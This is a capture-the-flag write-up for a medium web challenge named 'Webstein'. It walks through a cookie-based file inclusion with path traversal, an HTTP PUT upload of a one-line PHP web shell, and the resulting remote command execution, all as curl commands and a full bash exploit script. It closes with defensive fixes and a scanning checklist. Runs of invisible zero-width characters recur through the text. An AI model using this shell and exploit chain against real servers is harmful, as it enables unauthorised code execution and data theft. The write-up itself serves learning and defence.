← Back to Writeups
CUSTOMMediumWeb

Webstein

XESXOR9/10/20265 min read
#web#custom#medium#cookie-based-local-file-inclus#directory-enumeration-via-403-#http-put-method-file-upload-(m#lfi-to-rce-chain-via-uploaded-#linux

Webstein

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Cookie-based Local File Inclusion via lang parameter, Directory enumeration via 403 status codes, HTTP PUT method file upload (misconfigured nginx), LFI to RCE chain via uploaded PHP shell

Summary

Task: Einstein quotes website with cookie-based language switching. Solution: LFI via lang cookie + HTTP PUT file upload to achieve RCE.

Webstein — Hackerlab

Description

Погрузитесь в мир великого мыслителя, где каждое слово Эйнштейна открывает дверь в новые измерения познания. Говорят, что если долго слушать Эйнштейна, то можно его услышать

URL: http://62.173.140.174:16032/

A site with Einstein quotes. The name "Webstein" is a wordplay on Web + Einstein.

Analysis

Step 1: Reconnaissance

Basic server analysis:

  • Server: nginx/1.18.0 (Ubuntu)
  • Cookie: lang=ru — switches language between Russian and English
  • Site displays Einstein quotes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Directory Discovery

Checking directories by status codes:

bash
# Real directories return 403 Forbidden
curl -I http://62.173.140.174:16032/uploads/
# HTTP/1.1 403 Forbidden

curl -I http://62.173.140.174:16032/pages/
# HTTP/1.1 403 Forbidden

# Non-existent paths return 200 (catch-all routing)
curl -I http://62.173.140.174:16032/nonexistent/
# HTTP/1.1 200 OK

Conclusion: /uploads/ and /pages/ are real directories on the server.

Step 3: LFI Mechanism Analysis

Cookie lang includes .html files from the /pages/ directory: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# lang=ru includes /pages/ru.html (1159 bytes)
curl -b "lang=ru" http://62.173.140.174:16032/ | wc -c
# 1159

# lang=en includes /pages/en.html (1081 bytes)  
curl -b "lang=en" http://62.173.140.174:16032/ | wc -c
# 1081

Path traversal works:

bash
# lang=../uploads/shell will include /uploads/shell.html
curl -b "lang=../uploads/test" http://62.173.140.174:16032/

Step 4: HTTP PUT Discovery (Nikto)

Scanning the /uploads/ directory with nikto:

bash
nikto -h http://62.173.140.174:16032/uploads/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical finding: HTTP PUT method is enabled! This allows uploading files directly to the server.

Solution

Step 1: Upload PHP Shell via PUT

bash
curl -X PUT -d '<?php system($_GET["c"]); ?>' \
  "http://62.173.140.174:16032/uploads/shell.html"
# HTTP/1.1 201 Created

Shell successfully uploaded as /uploads/shell.html.

Step 2: Trigger RCE via LFI

Using cookie to include the uploaded shell:

bash
curl -b "lang=../uploads/shell" "http://62.173.140.174:16032/?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

RCE achieved!

Step 3: Finding the Flag

bash
# View contents of /var/www/
curl -b "lang=../uploads/shell" \
  "http://62.173.140.174:16032/?c=ls+-la+/var/www/"
# ... fl4g.txt ...

# Read the flag
curl -b "lang=../uploads/shell" \
  "http://62.173.140.174:16032/?c=cat+/var/www/fl4g.txt"
# CODEBY{REDACTED}

Exploit

bash
#!/bin/bash
TARGET="http://62.173.140.174:16032"

# Step 1: Upload PHP shell via PUT
curl -X PUT -d '<?php system($_GET["c"]); ?>' \
  "${TARGET}/uploads/shell.html"

# Step 2: Execute commands via LFI
curl -b "lang=../uploads/shell" "${TARGET}/?c=id"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Find and read flag
curl -b "lang=../uploads/shell" "${TARGET}/?c=ls+-la+/var/www/"
curl -b "lang=../uploads/shell" "${TARGET}/?c=cat+/var/www/fl4g.txt"

Attack Chain

1. Reconnaissance
   └── Cookie lang=ru/en → file inclusion
   
2. Directory Discovery  
   └── 403 on /uploads/, /pages/ → real directories
   
3. LFI Analysis
   └── lang=../uploads/X → path traversal works
   
4. Upload Vector (Nikto)
   └── HTTP PUT enabled on /uploads/
   
5. Shell Upload
   └── PUT shell.html → 201 Created
   
6. LFI → RCE
   └── lang=../uploads/shell + ?c=cmd → RCE
   
7. Flag
   └── cat /var/www/fl4g.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  1. Whitelist for included files: Allow only specific values (ru, en), not paths
  2. Disable PUT/DELETE: If WebDAV functions are not needed
  3. Isolate uploads: Separate domain or directory without PHP execution
  4. Filter path traversal: Block ../ in user input
  5. Minimal permissions: www-data should not have access to sensitive files

Lessons

  • Cookie-based LFI — often overlooked, but cookies are also user input
  • 403 vs 200 — different status codes help discover real directories
  • Nikto — useful for discovering non-standard HTTP methods
  • LFI + Upload = RCE — classic attack chain
  • nginx PUT — often enabled by mistake or for WebDAV ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical Lesson: Don't Rely Only on Manual Analysis

Problem

While solving this task, a lot of time was spent on manual path and parameter enumeration, although an automated scanner (nikto) found the key vulnerability — HTTP PUT — in 2 minutes.

What Went Wrong

  1. Didn't use scanners immediately — nikto, gobuster, dirsearch should be run at the start
  2. Didn't systematize directory search — missed /pages/, didn't pay attention to 403 vs 200
  3. Got stuck on LFI without understanding the mechanism — tried ../../../etc/passwd blindly, didn't realize .html was being appended
  4. Gave up too early — after ~50 failed attempts, without exhausting all tools ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Correct Approach for Web Tasks

bash
# 1. IMMEDIATELY run scanners (in parallel with manual analysis)
nikto -h $URL &
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt &

# 2. Distinguish real directories from catch-all
# 403 = real directory (no access to listing)
# 404 = doesn't exist  
# 200 with same size = catch-all routing

# 3. When LFI is discovered — understand the mechanism
# - What extension is appended? (.php, .html, .txt, nothing)
# - What is the base path? (/pages/, /lang/, /includes/)
# - What files actually exist?
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 4. ALWAYS check HTTP methods
curl -X OPTIONS $URL -v
curl -X PUT -d "test" $URL/uploads/test.txt -v
curl -X DELETE $URL/uploads/test.txt -v

Checklist for Web Tasks

markdown
## Automation (run IMMEDIATELY)
- [ ] nikto -h $URL
- [ ] gobuster/dirsearch for directories
- [ ] wfuzz for parameters

## Manual Analysis
- [ ] Check all cookies for injection
- [ ] Distinguish 403/404/200 for directories
- [ ] Check HTTP methods (PUT, DELETE, OPTIONS)
- [ ] For LFI — understand the mechanism (extension, base path)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

## Keep Notes
- [ ] What was found (with evidence)
- [ ] What hasn't been checked yet
- [ ] Hypotheses to verify

Main Takeaway

Automated tools find what humans miss. Nikto found HTTP PUT in 2 minutes — the key to the entire solution. Don't skimp on scanning! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍